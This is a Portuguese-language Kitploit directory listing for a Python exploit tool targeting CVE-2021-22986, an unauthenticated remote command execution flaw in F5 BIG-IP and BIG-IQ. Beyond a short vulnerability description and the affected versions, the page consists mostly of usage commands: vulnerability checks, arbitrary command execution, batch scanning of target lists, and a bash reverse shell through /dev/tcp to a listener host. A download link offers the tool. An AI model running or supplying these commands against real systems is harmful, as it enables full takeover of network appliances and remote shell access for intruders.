Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-22986 — Exploit em Python para CVE-2021-22986, permitindo RCE não autenticado no F5 BIG-IP e BIG-IQ via iControl REST, com execução de comandos, varredura em lote e recursos de reverse shell. | Kitploit
Ferramentas/GitHubGitHub/amitlttwo/cve-2021-22986
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleFerramenta de Acesso Remoto
GitHubamitlttwo/cve-2021-22986

CVE-2021-22986

Exploit em Python para CVE-2021-22986, permitindo RCE não autenticado no F5 BIG-IP e BIG-IQ via iControl REST, com execução de comandos, varredura em lote e recursos de reverse shell.

Ver Repositório
3há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-22986

Esta vulnerabilidade permite que atacantes não autenticados com acesso à rede à interface REST do iControl, por meio da interface de gerenciamento do BIG-IP e endereços self IP, executem comandos arbitrários do sistema, criem ou excluam arquivos e desativem serviços. Esta vulnerabilidade só pode ser explorada através do plano de controle e não pode ser explorada através do plano de dados. A exploração pode levar ao comprometimento total do sistema. O sistema BIG-IP no modo Appliance também é vulnerável.

Produto Vulnerável

F5 BIG-IQ 6.0.0-6.1.0 F5 BIG-IQ 7.0.0-7.0.0.1 F5 BIG-IQ 7.1.0-7.1.0.2 F5 BIG-IP 12.1.0-12.1.5.2 F5 BIG-IP 13.1.0-13.1.3.5 F5 BIG-IP 14.1.0-14.1.3.1 F5 BIG-IP 15.1.0-15.1.2 F5 BIG-IP 16.0.0-16.0.1

Uso

python3 CVE_2021_22986.py

Encontrando a Vulnerabilidade

python3 CVE_2021_22986.py -v true -u https://192.168.174.164

Execução de Comandos

python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id

Executando Comando com whoami

python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami

Verificação em Lote

python3 CVE_2021_22986.py -s true -f check.txt

Reverse Shell

python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"

Novo PoC

python3 newpoc.py https://192.168.174.164

Referências:-

  • https://support.f5.com/csp/article/K03009991

  • https://github.com/safesword/F5_RCE

  • https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986

  • https://github.com/Udyz/CVE-2021-22986-SSRF2RCE

Baixar ferramenta